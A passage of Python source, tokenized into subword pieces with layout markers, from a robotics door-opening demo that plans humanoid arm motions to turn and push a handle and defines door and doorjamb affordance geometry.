")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Line", "Position", "Constraint_", "(_", "hand", "Link", "Name_", ",_", "link", "Off", "set", "Frame_", ",_", "moti", "on", "Target", "Frame_", ",_", "line", "Axis_", "=_", "2_", ",_", "bounds_", "=_", "[_", "-_", "np_", "._", "linalg_", "._", "norm_", "(_", "moti", "on", "Vector_", ")_", ",_", "0.0_", "]_", ",_", "position", "Tolerance", "_", "=_", "0.001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "constraints_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Handle", "Turn", "_", "(_", "self_", ",_", "turn", "Angle_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "turn", "Angle_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "turn", "Angle_", "=_", "self_", "._", "handle", "Turn", "Angle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", ")_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", ",_", "link", "Frame_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", "._", "Get", "Inv", "erse", "_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Turn", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "door", "Side_", "*_", "turn", "Angle_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Handle", "Turn", "Frame_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Turn", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vis_", "._", "update", "Frame_", "(_", "door", "Handle", "Turn", "Frame_", ",_", "'", "debug", " ", "turn", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Handle", "Turn", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "=_", "constraint", "Set_", "._", "constraints_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "create", "Hin", "ge", "Constraint_", "(_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", ",_", "[_", "1.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Base", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Back", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Fix", "ed", "Foot", "Constraints_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Arm", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Handle", "Push", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", ")_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", ",_", "link", "Frame_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "._", "Get", "Inv", "erse", "_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "-_", "door", "Side_", "*_", "self_", "._", "handle", "Push", "Angle_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Handle", "Push", "Frame_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vis_", "._", "update", "Frame_", "(_", "door", "Handle", "Push", "Frame_", ",_", "'", "debug", " ", "push", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Handle", "Push", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "=_", "constraint", "Set_", "._", "constraints_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "create", "Hin", "ge", "Constraint_", "(_", "self_", "._", "door", "Hin", "ge", "Frame_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Base", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "constraint", "s", ".", "append", "(", "self", ".", "ik", "Plann", "er", ".", "create", "Locke", "d", "Back", "Post", "ure", "Constr", "aint", "(", "constraint", "Set", ".", "start", "Pose", "Name", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Fix", "ed", "Foot", "Constraints_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Arm", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Handle", "Push", "Open_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "self_", "._", "door", "Handle", "Push", "Open", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "spawn", "Doo", "r", "Aff", "orda", "nce_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ground", "Frame_", "=_", "self_", "._", "compute", "Gro", "und", "Frame_", "(_", "self_", "._", "robot", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Off", "set", "X_", "=_", "0.7_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Off", "set", "Y_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Gro", "und", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "door", "Off", "set", "X_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Gro", "und", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Gro", "und", "Frame_", "._", "Concat", "enat", "e_", "(_", "ground", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stance", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Frame_", "._", "Concat", "enat", "e_", "(_", "ground", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Walk", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "door", "Off", "set", "X_", "+_", "0.6_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Walk", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Walk", "Frame_", "._", "Concat", "enat", "e_", "(_", "ground", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Width_", "=_", "36_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Height_", "=_", "81_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Depth_", "=_", "0.5_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Hei", "ght", "Fro", "m", "Gro", "und_", "=_", "35_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Distan", "ce", "Fro", "m", "Edge_", "=_", "1.6", "25_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Distan", "ce", "Fro", "m", "Doo", "r_", "=_", "1.7", "5_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Length_", "=_", "4.1", "25_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Depth_", "=_", "0.25_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Jam", "Width_", "=_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Jam", "Depth_", "=_", "4.5_", "*_", "0.025", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "-_", "handle", "Distan", "ce", "Fro", "m", "Doo", "r_", "-_", "door", "Depth_", "/_", "2.0_", "-_", "handle", "Depth_", "/_", "2_", ",_", "door", "Side_", "*_", "(_", "door", "Width_", "/_", "2.0_", "-_", "handle", "Distan", "ce", "Fro", "m", "Edge_", "-_", "handle", "Length_", "/_", "2.0_", ")_", ",_", "handle", "Hei", "ght", "Fro", "m", "Gro", "und_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "door", "Height_", "/_", "2.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "(_", "door", "Width_", "/_", "2.0_", "+_", "door", "Jam", "Width_", "/_", "2.0_", ")_", ",_", "door", "Height_", "/_", "2.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "-_", "(_", "door", "Width_", "/_", "2.0_", "+_", "door", "Jam", "Width_", "/_", "2.0_", ")_", ",_", "door", "Height_", "/_", "2.0_", "]_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "._", "Concat", "enat", "e_", "(_", "door", "Gro", "und", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "door", " ", "handle", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "handle", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "handle", "Depth_", ",_", "handle", "Length_", ",_", "0.02_", "]_", ",_", "Color_", "=_", "[_", "0.0_", ",_", "1.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "door", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "door", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "door", "Depth_", ",_", "door", "Width_", ",_", "door", "Height_", "]_", ",_", "Color_", "=_", "[_", "0.5_", ",_", "0.5_", ",_", "0.5_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "left", " ", "door", " ", "jam", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "left", "Doo", "r", "Jam", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "door", "Jam", "Depth_", ",_", "door", "Jam", "Width_", ",_", "door", "Height_", "]_", ",_", "Color_", "=_", "[_", "0.7_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "left", "Doo", "r", "Jam", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "desc_", "=_", "dict_", "(_", "classname_", "=_", "'", "Box", "Aff", "orda", "nce", "Item", "'_", ",_", "Name_", "=_", "'", "right", " ", "door", " ", "jam", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pose_", "=_", "transform", "Utils_", "._", "pose", "Fro", "m", "Transform_", "(_", "right", "Doo", "r", "Jam", "Frame_", ")_", ",_", "Dimensions_", "=_", "[_", "door", "Jam", "Depth_", ",_", "door", "Jam", "Width_", ",_", "door", "Height_", "]_", ",_", "Color_", "=_", "[_", "0.7_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Aff", "orda", "nce_", "=_", "segmentation_", "._", "aff", "orda", "nce", "Manager_", "._", "new", "Aff", "orda", "nce", "Fro", "m", "Description_", "(_", "desc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Gro", "und", "Frame_", "=_", "vis_", "._", "show", "Frame_", "(_", "door", "Gro", "und", "Frame_", ",_", "'", "door", " ", "ground", " ", "frame", "'_", ",_", "parent_", "=_", "door", "Aff", "orda", "nce_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stance", "Frame_", "=_", "vis_", "._", "show", "Frame_", "(_", "stance", "Frame_", ",_", "'", "door", " ", "stance", " ", "frame", "'_", ",_", "parent_", "=_", "door", "Aff", "orda", "nce_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Walk", "Frame_", "=_", "vis_", "._", "show", "Frame_", "(_", "door", "Walk", "Frame_", ",_", "'", "door", " ", "walk", " ", "frame", "'_", ",_", "visible_", "=_", "False_", ",_", "parent_", "=_", "door", "Aff", "orda", "nce_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Frame_", "=_", "door", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "Frame_", "=_", "handle", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "left", "Doo", "r", "Jam", "Frame_", "=_", "left", "Doo", "r", "Jam", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "right", "Doo", "r", "Jam", "Frame_", "=_", "right", "Doo", "r", "Jam", "Aff", "orda", "nce_", "._", "get", "Chil", "d", "Frame_", "(_", 